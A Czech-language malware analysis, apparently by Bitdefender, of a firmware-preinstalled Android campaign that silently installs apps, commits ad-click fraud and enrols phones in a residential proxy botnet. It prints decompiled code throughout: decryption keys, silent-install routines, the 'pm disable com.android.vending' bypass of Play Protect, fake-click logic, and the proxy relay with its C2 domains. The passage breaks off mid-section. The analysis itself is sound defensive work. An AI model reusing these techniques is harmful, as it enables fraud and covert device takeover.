
Předinstalovaný malware v levných telefonech Android tiše instaluje další aplikace, falšuje reklamu a připojuje zařízení do proxy sítě. Podrobná technická analýza.
Bezpečnostní výzkumníci Bitdefenderu identifikovali kampaň Midnight Mimosa na levných zařízeních Android různých značek postavených na platformách MediaTek.
Malware je předinstalovaný ve firmwaru. Podle zařízení se zapojuje několik systémových balíčků. V telefonu je ještě před prvním zapnutím a běžnou cestou jej nelze odinstalovat.
Běží se systémovými oprávněními umožňujícími tiše instalovat a odebírat aplikace, udělovat oprávnění a načítat libovolný vzdálený kód. Provozovatelé tak mohou aplikace instalovat i mazat podle potřeby a zařízení například zapojovat do velkých botnetů.
Schéma je pravděpodobně zaměřeno především na výdělek. Provozovatelé provádějí reklamní a klikací podvody, sbírají údaje o zařízeních a aplikacích a mění telefony v přenosové uzly rezidenčních proxy. Zařízení se stávají „zombie“ v botnetech. Přístup k botnetům pro DDoS útoky je žádaným zbožím a čím větší síť, tím vyšší cena.
Samotná systémová aplikace falešná zobrazení a kliknutí neregistruje. Výdělek zajišťují dodané krycí aplikace: zdánlivé počasí, zámky aplikací, poznámky nebo OCR. Přes legitimní reklamní SDK načítají skutečnou reklamu. Cílem je neviditelné okno nad aplikacemi, které registruje zobrazování reklam.
První nalezenou systémovou aplikací byla com.android.system.lite. Šlo ale o špičku ledovce. Stejné jádro se dodávalo pod proměnlivými systémově znějícími názvy com.android.sys.prot, com.android.sys.gmsprot a com.android.sys.bcprot.
Jde o různá sestavení, někdy s jinými podpisovými certifikáty a názvy. Hrozbu nedefinuje jméno balíčku, ale společné jádro pod ním.
Výzkumníci navíc našli 13 aplikací na Google Play komunikujících se stejnými řídicími servery. Nemají oprávnění předinstalovaných balíčků, přesto jsou nebezpečné.
Hlavní zjištění
- Jádrem infekce je trvalá systémová aplikace podepsaná platformovým klíčem a předinstalovaná v zařízení.
- Tiše nasazuje proměnlivou rodinu nejméně 32 maskovaných aplikací: zámky, počasí, správce souborů, nástroje ikon, OCR i zvukové editory.
- Sama si uděluje citlivá oprávnění zpřístupnění, přístupu k oznámením a čtení či zápisu SMS. Jejich praktické zneužití nebylo pozorováno, ale při vzdáleném načtení kódu jsou k dispozici. Zpřístupnění a oznámení opakovaně automaticky zapíná a po chvíli vypíná.
- Před instalací další aplikace vypíná Google Play, patrně kvůli vyhnutí se Play Protect. Po spuštění jej znovu zapíná. Pojistka jej obnoví i při přítomnosti uživatele, aby nevzbudila podezření.
- Další komponenty skrytě falšují reklamu a kliknutí nebo připojují telefon do botnetu.
- Systémová aplikace i další komponenty sdílejí infrastrukturu včetně C2 maskovaného jako API počasí.
- Stejné jádro se objevuje v několika názvech, sestaveních a certifikátech.
- Stejný podvodný reklamní kód obsahovalo i 13 aplikací Google Play, nejméně pod dvěma vývojářskými účty a 13 různými certifikáty.
Vyšetřování začalo technologií App Anomaly Detection v Bitdefender Mobile Security. Označila com.android.system.lite, která se názvem a vzhledem tvářila jako jádro systému, ale chovala se jinak.
Běžná mobilní ochrana často předpokládá, že jednou prověřená čistá aplikace zůstává bezpečná. App Anomaly Detection, zavedená v roce 2023, vznikla proto, že praxe tento předpoklad často vyvrací.
Aplikace může týdny spát a škodlivé chování zapnout až později nebo jen za určitých podmínek. Projde statickou kontrolou a skutečný kód následně stáhne ze serveru či rozbalí z nativní knihovny.
App Anomaly Detection tuto mezeru řeší průběžným sledováním chování přímo v zařízení. Kombinuje místní strojové učení, analýzu v reálném čase a další signály. Nespoléhá na včerejší čistý výsledek: reaguje ve chvíli, kdy se chování změní ve škodlivé.
Zde byla rozhodující právě analýza chování. Aplikace byla systémová a podepsaná platformou. Nelze ji odinstalovat, neprošla uživatelskou volbou ani kontrolou obchodu. Uživatelské obrany byly obejity už při zapnutí telefonu. Zbývalo zachytit chování.
Telemetrie ukázala tiché instalování a odebírání obměňovaných komponent, například com.mobile.applock.wt. Ta se vydávala za zámek aplikací, ale odpovídající funkce jí chyběla.
Neměla potřebné rozhraní ani kód a před uživatelem byla úplně skrytá. Sama představovala silně obfuskovaný dropper, tedy komponentu dodávající další malware, nikoli však kořen infekce.
Na papíře com.android.system.lite nepůsobila podezřele: platformově podepsaná součást systému bez ikony a viditelné aktivity. Skutečný mechanismus byl v nativní knihovně aktivní až za běhu.
Detekce ji označila, protože se přes systémovou masku nechovala jako systémová součást. Opakovaně zapínala citlivé zpřístupnění a oznámení a tiše instalovala i odebírala nesouvisející aplikace.
Sledování těchto stop odhalilo zdroj: trvalou předinstalovanou systémovou aplikaci, kterou uživatel nemohl odstranit.
Údajná systémová komponenta řídila proměnlivé portfolio skrytého kódu včetně falešných zámků pro reklamní podvody a zapojování do rezidenčního proxy botnetu.
Instalovala i širší skupinu: com.mobile.applock.en, com.dmstudio.weather, com.dl.guard.lock, appicon.diy.tools.prop a picturetranslate.extractor.text.lite.
Tyto aplikace se na stejných telefonech opakovaně instalovaly a odstraňovaly. Krátká přítomnost omezuje viditelnost v seznamu, mění hashe i aktuální výdělečný modul. Systémový základ přitom zůstává.
Vedle výdělku mohou zařízení sloužit jako přenosové uzly rezidenčních proxy, součást botnetů a potenciálně i prostředek DDoS útoků.
Samotné komponenty ani předinstalovaný způsob doručení nejsou nové. Tuto kampaň charakterizuje aktivátor com.android.system.lite na zařízeních s firmwarem podepsaným certifikáty se jménem Shenzhen Zediel, dodávání škodlivých aplikací podobných rodině Android.Phantom popsané Dr.Web a nově přidané rezidenční proxy.
Potvrzeno je pouze použití certifikátů se jménem Shenzhen Zediel k podpisu firmwaru dotčených zařízení. Jak se tam dostaly a zda jejich držitel o malwaru věděl nebo se na něm podílel, není jasné. Nešlo ani o jediné firemní jméno ve výzkumu.
Malware přichází se zařízením, ale přesné místo vložení v dodavatelském řetězci zůstává neznámé. Může jít o ODM výrobce, integrátora firmwaru, logistického partnera nebo další článek distribuce. V ROM je před prodejem. Určení odpovědného subjektu vyžaduje informace mimo rozsah technické analýzy.
Navíc nejde o jedinou cestu. Stejný malware se dodává i v mnoha telefonech bez firmwaru podepsaného Zediel.
Internet zaplavují extrémně levné, někdy přímo padělané telefony Android. Jedním ze způsobů kompenzace nízké ceny hardwaru je software vydělávající až následně.
Padělky vlajkových telefonů se prodávají i na velkých tržištích. Názvy S24 Ultra, S25 Ultra a S26 Ultra se v telemetrii objevují jako hlášené modely levného hardwaru MediaTek.
Technická analýza
Protože jádrové aplikace jsou velmi podobné, analýza podrobně rozebírá jednu systémovou aplikaci a fungování celého ekosystému.
com.android.system.lite je předinstalovaná systémová aplikace podepsaná platformou. Běží jako systémový uživatel a může bez interakce instalovat a odstraňovat balíčky i udělovat oprávnění jiným aplikacím.
Tyto schopnosti nejsou přímo v APK: skrývají se v libeasy.so. Ta při načtení dešifruje pomocí RC4 a uloží obfuskovaný javový framework do procesu se systémovým UID.
Framework získá konfiguraci z C2 a stáhne a načte pluginy DEX druhé a třetí fáze s výdělečnými funkcemi:
- Reklamní podvody v procesu, tedy falešná zobrazení a kliknutí, plugin wz.
- Tiché instalace a odinstalace partnerských aplikací jako system-uid s automatickými oprávněními, pluginy earn a gogo.third.
- Dodané aplikace jsou samy známé droppery: TCP proxy a botnet applock.en a reklamní podvod s možností vzdáleného kódu applock.wt.
Telemetrie potvrzuje tichou instalaci obměňovaného portfolia na skutečných zařízeních. Systémový aktivátor je místním kořenem celého schématu.
Systémový aktivátor
Jde o trvalou platformově podepsanou součást s privilegovanými oprávněními. Právě tato systémová identita umožňuje následující operace:
package: com.android.system.lite versionCode=900000 label="System"
<manifest ... sharedUserId="android.uid.system" coreApp=true>
<application android:persistent="true" ...>
uses-permission: android.permission.INSTALL_PACKAGES
uses-permission: android.permission.DELETE_PACKAGES
uses-permission: android.permission.GRANT_RUNTIME_PERMISSIONS
uses-permission: android.permission.WRITE_SECURE_SETTINGS
uses-permission: android.permission.MOUNT_UNMOUNT_FILESYSTEMSVýpis AndroidManifest.xml přes aapt2. sharedUserId=android.uid.system, coreApp a persistent označují systémovou komponentu firmwaru. Privilegovaná oprávnění umožňují tiché instalace, odebírání i udělování přístupů.
Označení aplikace je obecné „System“ a ikona skrytá. Ve spouštěči není vidět a připomíná legitimní součást OS. Její APK DEX s com.gogo.bb.sdk a službami Monitor* je jen tenká hostitelská vrstva. Nebezpečná logika je v nativní knihovně.
Schopnosti přesahující pozorované použití
Manifest vedle instalačních oprávnění žádá zpřístupnění, přístup k oznámením a SMS. Služby zpřístupnění a oznámení si navíc zapíná sám bez žádosti vlastníkovi.
Analýza jejich praktické použití nezaznamenala. Není ale vhodné je ignorovat. Služba zpřístupnění může číst obsah obrazovek, sledovat psaní a ovládat rozhraní jménem vlastníka. Jde o běžný mechanismus bankovních trojanů a podvodů se vzdáleným ovládáním Androidu.
Přístup k oznámením umožňuje čtení zpráv včetně chatů. SMS oprávnění zpřístupňuje jednorázové kódy a odesílání na prémiová čísla. Drží je neodstranitelná komponenta načítající vzdálený kód z infrastruktury s historickou vazbou na podvody s prémiovými SMS.
Schopnost je přítomná, automaticky povolená a vzdáleně aktivovatelná. Konkrétní použití určuje operátor přes C2, nikoli pevná vlastnost zkoumaného vzorku.
libeasy.so rozbaluje skrytý framework
Knihovna registruje jedinou JNI metodu nativeInit, jejíž skutečné tělo skrývá odskok. Při inicializaci uloží odkazy na javové kryptografické třídy, pomocí RC4 dešifruje vložené APK o velikosti 142 kB a zapíše je na disk. To je privilegovaný framework.
JNI_OnLoad: FindClass("org/b/c/lib/MainLib"); RegisterNatives(off_69000, 1)
JNINativeMethod { name="nativeInit", signature="()I", fnPtr=0xF764 } 0xF764 nativeInit (registered ptr) -> b 0x115AC ; trampoline
0x115AC real nativeInit body -> "rz.init.done." + "20240425"
0x10910 init worker (guard @0x697F8, returns -101 if already init)
0x10940 crypto bootstrap (caches Cipher / SecretKeySpec / Base64 / String)
0x107C4 blob dropper -> RC4-decrypt blob@0x3949E (len 0x22D60) -> write APK
RC4 key = last 16 bytes of the blob; native string key = "rc4@sec[.]com"Řetězec načítání libeasy.so: offsety IDA, ET_DYN s imagebase 0, takže offset souboru odpovídá virtuální adrese. Značka rodinného sestavení 20240425 se skládá v nativeInit.
Uložené APK je cn.kw.lib.hex s 215 třídami a obfuskovanými řetězci. Řetězce šifruje AES-128-CFB:
g.b(x) = base64-decode(x) -> AES/CFB/NoPadding decrypt
key = MD5("aGV4QCFRQFcjRQ==") (= "hex@!Q@W#E")
IV = "0102030405060708"Šifra řetězců vloženého frameworku. Stejná konstrukce jako u aktivátoru s klíčem dHhAZXhAc2Vy dokládá společný kód.
Dvě privilegované operace: oprávnění a vzdálený kód
Rozbalený framework zajišťuje dvě schopnosti, které v původním APK DEX chybějí:
Udělení libovolného oprávnění libovolnému balíčku:
// hex.c.b.a(ctx, pkg, perm) — reflected privileged grant
PackageManager.grantRuntimePermission(pkg, perm, UserHandle) // + getUserHandleForUid
// enumerates third-party targets and verifies the grant:
pm list package -3 ; checkPermission(perm, pkg)Operace udělení oprávnění v dekódovaných řetězcích vloženého DEX obsahuje grantRuntimePermission pkg: a pm list package -3. Cílový balíček je parametrem, takže lze udělit oprávnění kterékoli cizí aplikaci, nikoli jen sobě.
Vzdálená aktualizace DEX/JAR představuje vzdálené spouštění kódu:
cn.kw.lib.dx.DxFactory přes dalvik.system.DexClassLoader stahuje a aktualizuje kwlib.jar a kwlib.next. Kontroluje MD5 a verzi pomocí isNeedUdx a lst_udx_tim. Endpointy získává z konfigurace getNavigation, nejsou pevně zapsané.
Jde o zavaděč vzdáleného kódu. Endpointy dodává C2 konfigurace až za běhu.
Pluginy druhé a třetí fáze a jejich úložiště
Framework získá hostitele druhé fáze kwlib.jar s cn.kw.lib.dx.DxFactory. Ten načítá tři pluginy třetí fáze. Každý je v files/plg/<id>/ jako magic.o, ve skutečnosti JAR s příponou .o, a doprovodný popis:
files/plg/<md5-id>/magic.o <- PK\x03\x04 (a ZIP/JAR, not a .o)
files/plg/<md5-id>/magic.o[.]info:
20311###magic###com.wz.sdk.DxFactory###magic###0bed0405...(md5 of jar)
###magic###1782294f...(iconDesc)###magic###^(wtd|com.wz.sdk|com.ads.cal|com.android.gem|...).+Popis pluginu: verze a iconDesc přesně odpovídají odpovědi C2 getConfigs. Úložiště pluginů tedy připravuje C2.
- com.wz.sdk.DxFactory, verze 20311: reklamní podvody uvnitř procesu včetně falešných kliknutí a zobrazení.
- com.earnsdk.lib.DxFactory, verze 5: tiché instalace a odebírání partnerských aplikací, PPI.
- com.gogo.third.lib.DxFactory, verze 10014: tichý instalátor s funkcemi WebView.
Reklamní podvody com.wz.sdk
Plugin wz vykresluje nevyžádané reklamy ve dvou podobách: celoobrazovkové aktivity spuštěné bez zásahu uživatele a překryvná okna nad aktuálním obsahem. Spouštěčem jsou změny stavu obrazovky, například zapnutí displeje, nebo příkazy reklamní sítě při nečinnosti telefonu.
Reklamní plocha je označena jako zabezpečená, takže není ve snímcích a záznamech obrazovky. Příznak běžně chrání například bankovnictví. Zde naopak ztěžuje zdokumentování podvodu majiteli i analytikovi.
Podvod řídí vzdálená konfigurace, jejíž názvy polí Kotlinu zůstaly čitelné:
class RemoteConfig { // com.ads.cal.core.RemoteConfig (@Metadata field names)
int silentPercent; // % of ads to ‘click’ with NO user touch
int notClickPercent; // % of impressions to auto-convert
int notClickInterval; // min ms between fabricated clicks
int notClickTopRate, notClickBottomRate, notClickLeftRate, notClickRightRate; // fake touch placement
int livePercent, weight, priority; String mediaPkgName, adspotId; }Parametry silentPercent a notClickPercent udávají pravděpodobnost kliknutí bez skutečného dotyku. Hodnoty notClick*Rate určují umístění syntetického dotyku na reklamě, aby působil lidsky.
Programové, syntetické kliknutí bez uživatele:
// wtd/p/n0.java:192 — code-driven click fired from a Runnable
public void onClick(View view) { b.this.h.performClick(); }Náhodný cíl, denní limit a omezení intervalem dávkují falešný provoz tak, aby působil přirozeně:
// wtd/f/s.java r(Context)
int nextInt = random.nextInt(f.size()); // random ad target from C2 list
int l = e.l(); int d = e.d(); // today’s fabricated count / daily cap
if (l >= d) { B(3); return; } // cap reached -> stop
if (elapsedRealtime - this.h < e.c()) return; // interval not elapsed -> skip
w.post(this.i); // fire the interaction runnableDotyk se převede na tiché spuštění propagované aplikace přes deep link:
// wtd/f/s.java t(MotionEvent) — an incidental tap becomes a click on the advertiser app
Intent intent = new Intent();
intent.putExtra("from", this.e.e()); // adspot id
intent.setPackage(this.g); // the promoted package
intent.addFlags(268435456);
wtd.e.h.g.startActivity(intent); // silently launches the targetAutomatické hlášení „konverze“ s příznakem silent po 60 sekundách od zobrazení, bez interakce:
// wtd/f/e.java
if (nVar2.p().get() == p.b && elapsedRealtime - nVar2.h().get() >= 60000) {
f Q = Q(str, longValue, EnumC0017e.b, h0Var, false, z.v(str));
k0.l.s(a2, Q); // upload the (fabricated) interaction event
}
// wtd/f/c.java:251 — the upload carries an explicit ‘silent’ boolean
wtd.m.c.F(iVar.i(), iVar.d(), nVar.t(), nVar.p() /*silent*/, s1, s2, s3);Celý podvodný postup: vykreslit reklamu, předstírat kliknutí přes performClick()/startActivity, po 60 sekundách automaticky nahlásit konverzi s silent=true a dávkovat přes silentPercent, notClickPercent a denní limit. Události míří přes DotReporter na weatherlive[.]world/odborwer_dot/cm.
Komu se připisuje výdělek
Falešné kliknutí vydělává jen tehdy, pokud je reklamní síť někomu přiřadí podle SDK. Zobrazení a kliknutí se připisují aplikaci hostující SDK a její reklamní jednotce. Skrytá systémová komponenta bez SDK by vytvářela provoz bez příjemce platby.
Proto schéma potřebuje krycí aplikace. Počasí, zámky, poznámky a OCR obsahují legitimní reklamní SDK a právě je vidí reklamní síť. Plugin wz v systémovém procesu dodává logiku, načasování a umělé interakce, ale reklamní jednotka i platba patří krycí aplikaci.
Obě části jsou propojenými členy reklamní sítě. Krycí aplikace zveřejňují MyDataService přes com.media.am.intent.action.BIND_SERVICE. Řadič je propojí a předává obsah a příkazy initMediaApp, setAdData a transferData. Všechny hlásí stejný identifikátor zařízení stejnému C2 weatherlive. Jedna aplikace tak může řídit reklamy a klikání, které vykresluje a zpeněžuje jiná.
Rozdělení rolí v celém schématu:
- Systémový aktivátor tiše instaluje a odebírá aplikace, uděluje oprávnění a během instalací vypíná Play Protect. Nemá reklamní jednotky ani přímé platby.
- Nativní jádro a skrytý framework dešifrují a načítají privilegovaný kód, udělují oprávnění a umožňují vzdálené aktualizace.
- Pluginy druhé a třetí fáze dodává C2. Spouštějí podvodnou logiku a tiché instalace.
- Krycí aplikace zajišťují výdělek a jsou jedinou částí viditelnou reklamní síti.
- Droppery bez ikony přidávají proxy a druhý reklamní modul.
- C2 řídí moduly, konfiguraci podvodů a sběr falešných událostí.
Tichá instalace a přenos privilegovaných oprávnění
Pluginy earn a gogo tiše instalují partnerské aplikace. Rozhodování i instalace jsou vlastním kódem malwaru. Umožňuje je INSTALL_PACKAGES hostitele se systémovým UID:
// earndex.e.f.d(ctx, assets, pkg, version, str2) -> new com.earnsdk.lib.a(...).h()
// com.earnsdk.lib.a.h(): if needInstall ->
AppInstallHelper.c(ctx, assetManager, "mediaapp-release.apk", pkg, str3);
// AppInstallHelper.c -> earndex.h.c.a() copies the bundled APK out of assets -> earndex.h.f.g():
// earndex.h.c.l(context, pkg, path): PackageInstaller session (silent on system-uid)
SessionParams sp = new SessionParams(MODE_FULL_INSTALL);
int sid = pi.createSession(sp); Session s = pi.openSession(sid);
s.openWrite(...); s.commit(intentSender); // no user promptCesta tiché instalace vede přes com.earnsdk.lib.AppInstallHelper a earndex.h.c/f. Pro starší Android existuje také reflexe installPackage(Uri,…). Na Androidu 13 funguje cesta relace PackageInstaller.
Proto sekvence createSession → openWrite → commit proběhne bez potvrzovacího rozhraní PackageInstalleru. Aktivátor je zapsán jako instalující balíček. Interakce uživatele není potřeba v žádném bodě.
Protože aktivátor aplikaci instaluje, může jí také tiše udělit oprávnění nedostupná běžné aplikaci z obchodu. Krycí počasí deklaruje a skutečně používá WRITE_SECURE_SETTINGS, privilegované vývojářské oprávnění vázané na podpis:
// com.dmstudio.weather q6/c.java:17 (uses a permission a store app cannot obtain)
Settings.Global.putString(cr, "vdgtjy", {"data":<int>,"time":<millis>});
// grantable only because a GRANT_RUNTIME_PERMISSIONS holder granted it (development-flag perm):
// enabler/plugins: grantRuntimePermission pkg: ... authorize, grantRuntimePermissionFor6XFunkční zápis WRITE_SECURE_SETTINGS u počasí ukazuje na privilegované udělení, které by běžná instalace nezískala. To odpovídá zásahu systémového aktivátoru. Stejný balíček je publikovaný na Play bez tohoto oprávnění. Privilegium vyplývá ze způsobu doručení, nikoli ze samotné aplikace.
Krycí aplikace spolu komunikují přes MyDataService a com.media.am.intent.action.BIND_SERVICE. Řadič je propojuje příkazy initMediaApp, setAdData a transferData. Sdílejí UUID i C2 weatherlive.
Obcházení Play Protect: vypnout, instalovat, znovu zapnout
Pluginy kromě skrytí potvrzení oslepují také Play Protect. Přes systémový shell těsně před instalací spustí pm disable com.android.vending, tedy vypnou obchod hostující místní skener. V úspěšné i neúspěšné instalační větvi poté spustí pm enable com.android.vending.
Škodlivá instalace tak probíhá v době, kdy je skener vypnutý. Všechny tři pluginy to implementují stejně; obfuskované řetězce se dešifrují na následující příkazy:
// com.earnsdk.lib.AppInstallHelper.c() (also com.gogo.third / com.wz.sdk)
earndex.e.a.a(context, "com.android.vending"); // -> pm disable com.android.vending (before install)
f.g(context, pkg, apkPath); // silent PackageInstaller session
// install observer:
onSuccess -> earndex.e.a.b("com.android.vending"); // -> pm enable com.android.vending
onFailure -> earndex.e.a.b("com.android.vending"); // -> pm enable com.android.vending // earndex.e.a (bldex.e.a / com.ads.cal.core in the other plugins)
a(ctx,p): f.e({ "pm disable " + p }); // ProcessBuilder
b(p): f.e({ "pm enable " + p }); // ProcessBuilderObcházení Play Protect je potvrzeno ve všech třech pluginech: earn v earndex/e/a.java, gogo v bldex/e/a.java a wz v com/ads/cal/core/kt/ContextKtKt a GEMController. Řetězce se dešifrují na pm disable, pm enable a com.android.vending. Tichá instalace odstraňuje potvrzení uživatele, vypnutí obchodu navíc odstraňuje detekci v reálném čase.
Falešný původ z Google Play: podvržený instalátor, chybějící frosting
Vypnutí skeneru maskuje právě probíhající instalaci. Druhá technika mění údaj o původu aplikace, aby ji zamaskovala i následně.
Privilegovaný instalátor s INSTALL_PACKAGES si sám nastaví zaznamenaný instalační balíček přes PackageInstaller.SessionParams. Platforma hodnotu neověřuje. U části vzorků je nastavena na com.android.vending a zařízení proto hlásí původ z Google Play.
Tvrzení lze ověřit. APK skutečně distribuované Google Play obsahuje podpisový blok frosting, který serverově přidává Google jako důkaz průchodu obchodem a mimo něj jej nelze vytvořit. Pokud je uvedeno com.android.vending, ale frosting chybí, původ je podvržen:
MD5 Package Installer recorded Play frosting
0903d7fd3e1d4a599a7eb3c5d356779b com.android.weiapps com.android.vending Absent
61aac6a98abd6dcff0dc41bb88159786 com.android.sys.dts com.android.vending Absent
250205ee4b8de59e60c745856f439608 com.android.non.szcz com.android.vending AbsentVzorky uvádějí instalaci z Google Play, ale nemají jeho podpisový blok. Všechny tři jsou sestavení aktivátoru, nikoli dodané komponenty.
Obvyklá rychlá kontrola se tím obrací. Skrytí potvrzení vyřadí uživatele, vypnutí com.android.vending automatický skener a podvržení instalátoru zakryje forenzní stopu. Samotný údaj o instalátoru v této kampani nestačí pro přiřazení ani prohlášení vzorku za čistý. Spolehlivější je kontrola podpisového bloku frosting.
Model doručení a poznatky z provozu
Partnerské APK se při instalaci samostatně nestahuje. Je vloženo do pluginu třetí fáze jako assets/mediaapp-release.apk. C2 vybírá APK přes verzi pluginu v getConfigs a stažení z CDN oss.showtimetool[.]com. Dvě vložená APK jsou po bajtech shodná se známými samostatnými droppery:
Plugin Bundled mediaapp-release.apk MD5 Known sample
com.earnsdk.lib com.mobile.applock.en v6 (“Locket”) 08d231c6a5303e543eb60d4181f6a4ea Proxyware / EnLoaderLib
com.gogo.third.lib com.mobile.applock.wt v17 (“Locket”) 4a171f62d1bab01827b06ae73d4caafa Ad fraud + RCEProvozní telemetrie potvrzuje aktivátor jako instalující balíček celého portfolia na skutečných telefonech, u dropperů bez ikony i funkčních krycích aplikací:
Installed package MD5 Devices
com.mobile.applock.en 08d231c6a5303e543eb60d4181f6a4ea 199
com.mobile.applock.wt 4a171f62d1bab01827b06ae73d4caafa 199
picturetranslate.extractor.text.lite e250e5966c119a9098f7818fc6c080e5 182
appicon.diy.tools.prop 3b20edff1125e146aa3d5153708b58f4 139
com.dl.guard.lock 6739fe083cfa8dec9b4f989ccba0e99e 120
com.dmstudio.weather 542ab80429ec42e8643dc645f58b716c 97
com.audify.editor.pro 145b806282d247441751bb4957b71606 2
com.mb.applock.a02 ee70ec99121f4d7c8b5a883e5ab3a858 1
com.solide.filemanager.lte 92390cacdd20d2ee5405093669e7302c 1Balíčky byly zaznamenány jako instalované přes com.android.system.lite. Různé verze APK stejného balíčku odrážejí střídání vložené komponenty řízené C2.
Rozsah kampaně
Předchozí tabulka zachycuje portfolio jediného zkoumaného aktivátoru. Napříč celou rodinou během přibližně dvou let byla kampaň pozorována na tisících jedinečných zařízení ve více než 150 zemích.
Nejvíce zařízení bylo v Mexiku, Francii a Itálii, následovaly USA, Německo, Brazílie a Španělsko. Dlouhý zbytek rozložení zahrnuje Afriku, jihovýchodní Asii a Blízký východ.
Podíl zařízení podle zemí ukazuje dva důležité rysy: žádná země nepřevládá a hlavními centry jsou odděleně západní Evropa a Amerika. Detekce pocházejí z více než 150 zemí.
To neodpovídá regionální distribuční cestě operátora či národního prodejce, kde by dominoval jediný trh. Dvě centra a dlouhý zbytek odpovídají hardwaru prodávanému globálními internetovými tržišti.
K dispozici jsou také údaje o typech zařízení. Mnohá se identifikují jen firmwarem a pravděpodobně jde o levné telefony nebo klony známějších modelů.
Firmware podepsaný Zediel není jedinou distribuční cestou. Provozovatelé vkládají stejný malware i do mnoha dalších zařízení, většinou zřejmě vizuálních kopií skutečných telefonů.
Kromě obecných identifikátorů se objevují padělky přebírající jména vlajkových modelů. Falešné iPhony hlásí i17 Pro Max, i16_Pro_Max nebo 17_Pro_Max, tablet například iPadAirPro.
Stejně volně kopírují Samsung Galaxy: řetězce S25 Ultra, S24 Ultra či Note 18 Ultra, které by pravý telefon takto nehlásil. Používají i skutečné kódy, například SM-S938B připomínající Galaxy S25 Ultra na zařízení, které od Samsungu není.
Vzorec doplňují Honor Magic 15 MAX a bezejmenné modely Ultra. Tentýž firmware se prodává pod prestižním názvem, který usnadní odbyt levného telefonu. Sloupec modelů je proto ukazatelem podvrhování, nikoli přesným inventářem zařízení.
Dva nejpočetnější modely však odpovídají skutečným značkám: S200 X je spojen s Doogee a KINGKONG X s Cubot. Jejich jména se objevila i ve veřejně popsaném incidentu aktualizace firmwaru na fóru XDA, což může naznačovat širší problém v části dodavatelského řetězce.
Majitelé na XDA dohledali skrytý balíček com.android.sys.*, který se po odstranění vracel s novým názvem. To odpovídá samostatné aktualizaci této rodiny.
Proxy botnet com.mobile.applock.en
Partnerská aplikace vložená do earn pluginu, com.mobile.applock.en s označením Locket, nemá ikonu a předstírá zámek aplikací. Ve skutečnosti je jednoúčelovou TCP proxy se zpětným připojením.
Zařízení registruje jako vzdáleně řízený přenosový uzel. Deklaruje pouze INTERNET a ACCESS_NETWORK_STATE, neobsahuje reklamu, rozhraní ani dynamické načítání kódu. Zavaděč se hlásí jako EnLoaderLib v1.0.6. Čtyři místa kódu zajišťují registraci, příkazy, tunel a přenos.
Registrace: každé zařízení se přihlásí C2 jako uzel:
// h/i.java
String uuid = new h(i.this.m).a().toString(); // per-device UUID
jSONObject.put("os", "android");
jSONObject.put("uuid", this.l); // node id
jSONObject.put("is", this.f192e); // product/campaign id
jSONObject.put("v", "v1.0.6"); // EnLoaderLib version
jSONObject.put("inf", a2); // device fingerprint
// h/g.java — the fingerprint reported:
Build.MODEL +"#*#"+ Build.VERSION.RELEASE +"#*#"+ Build.VERSION.SDK_INT +"#*#"+ Build.ID +"#*#"+ Build.BRAND;Příkazový kanál používá přímý TCP socket na řídicího hostitele, nikoli HTTP:
// h/k.java
Socket socket = new Socket();
socket.connect(new InetSocketAddress(split[0], Integer.parseInt(split[1])), 40000);
// control host built in h/i.java:
String.format("%s.%s.%s:6000", productId, "apple", domainPool[nextInt]); // raw TCP :6000
domainPool = {"0aa0cf0637d66c0d[.]com","aa86a52a98162b7d[.]com","442fe7151fb1e9b5[.]com","v46wd6uramzkmeeo[.]in"};C2 dodává seznam cílů. Zařízení otevře tunel ke každému z nich a pravidelně se dotazuje znovu:
// h/i.java
JSONObject o = new JSONObject(str);
JSONArray s = o.getJSONArray("s"); // "s" = array of "host,port" targets
for (int i = 0; i < s.length(); i++) {
String[] split = ((String) s.get(i)).split(","); // "host,port"
i.this.t(split[0], split[1], optInt3, optInt2, optString); // spawn a tunnel per target
}
int t = o.optInt("t", 0);
if (t > 0) f191d.scheduleAtFixedRate(new a(), t, t, TimeUnit.MINUTES); // periodic re-pollPřenosová smyčka beze změny přeposílá bajty mezi stranou C2 a cílem, tedy výstupem proxy:
// h/m.java — d.run() opens two sockets and wires both directions:
socket.connect(new InetSocketAddress(nVar.f231c, nVar.f232d), 5000); // C2 / relay coordinator
socket2.connect(mVar.f(str, str2, i), 5000); // the target host:port
execute(new a(socket, socket2)); execute(new b(socket2, socket)); // full-duplex relay public final void m(Socket socket, Socket socket2) { // the byte pump
h.d b2 = l.b(l.g(socket)); // source
h.c a2 = l.a(l.d(socket2)); // sink
while (!b2.e()) {
long d2 = b2.d(bVar, 8192L); // read up to 8KB from one socket
if (d2 > 0) { a2.b(bVar, d2); a2.flush(); } // write straight to the other
}
}Registrace, příkazy, tunel a přenos jsou implementovány v h/i, h/k, h/m a h/g. Centrální řadič, uzly určené UUID a produktovým ID, vzdálené cíle host:port a obousměrný přenos zpeněžují připojení oběti jako výstup rezidenční proxy. Ten může oslovovat libovolné hostitele včetně místní sítě.
Dynamické ověření ukázalo aktivní síťovou infrastrukturu. Klient přes wildcard DNS získá hostitele, připojí se na TCP port 6000 a odešle registraci. Při dalších pokusech se střídají čtyři domény:
control host : OeawmFEDPClEAiH9.apple.0aa0cf0637d66c0d[.]com:6000 -> 85.17.70.38:6000
registration : {"os":"android","uuid":"<node>","is":"OeawmFEDPClEAiH9","v":"v1.0.6",
"inf":"<device-fingerprint>","n":"t"}
response : (empty — no relay targets returned to a freshly-enrolled node)
rotation : next attempt -> OeawmFEDPClEAiH9.apple.442fe7151fb1e9b5[.]com:6000Původní pozorování zaznamenalo přijetí registrace na 85.17.70.38:6000 přes wildcard DNS domény. Nový uzel nedostal žádné cíle a nic nepřenášel. Důležité: následující oprava původního zjištění upřesňuje, že tato IP byla sinkhole.
Oprava původního zjištění: při druhém prověření se ukázalo, že IP byla ve skutečnosti sinkhole, tedy přesměrovaná infrastruktura pro zachytávání malwarové komunikace, nikoli skutečný C2 server. Zkoumání řídicích serverů těchto již známých komponent přesahuje rozsah tohoto výzkumu. Nový je především způsob doručení.
Druhá vložená aplikace com.mobile.applock.wt má stejnou neviditelnou masku zámku, ale jinou funkci: reklamní modul com.ctr.cbd načítající vzdálené reklamní DEX přes reflexi. Aktivátor tedy dodává proxy i reklamní dropper podle pluginu zvoleného C2.
Infrastruktura C2
Dva HTTPS kanály komunikují s api.weatherlive[.]world. Oba používají AES a požadavky podepsané HmacMD5. Příkazový kanál getConfigs po dešifrování obsahuje otisk zařízení a odpověď řídící moduly:
POST https://api.weatherlive[.]world/br_upgrade/upgradeV2/getConfigs
headers: App-Id: 20240425 | api-id | nonce | timestamp | signature(HmacMD5) device SENDS (AES/ECB/PKCS5, decrypted):
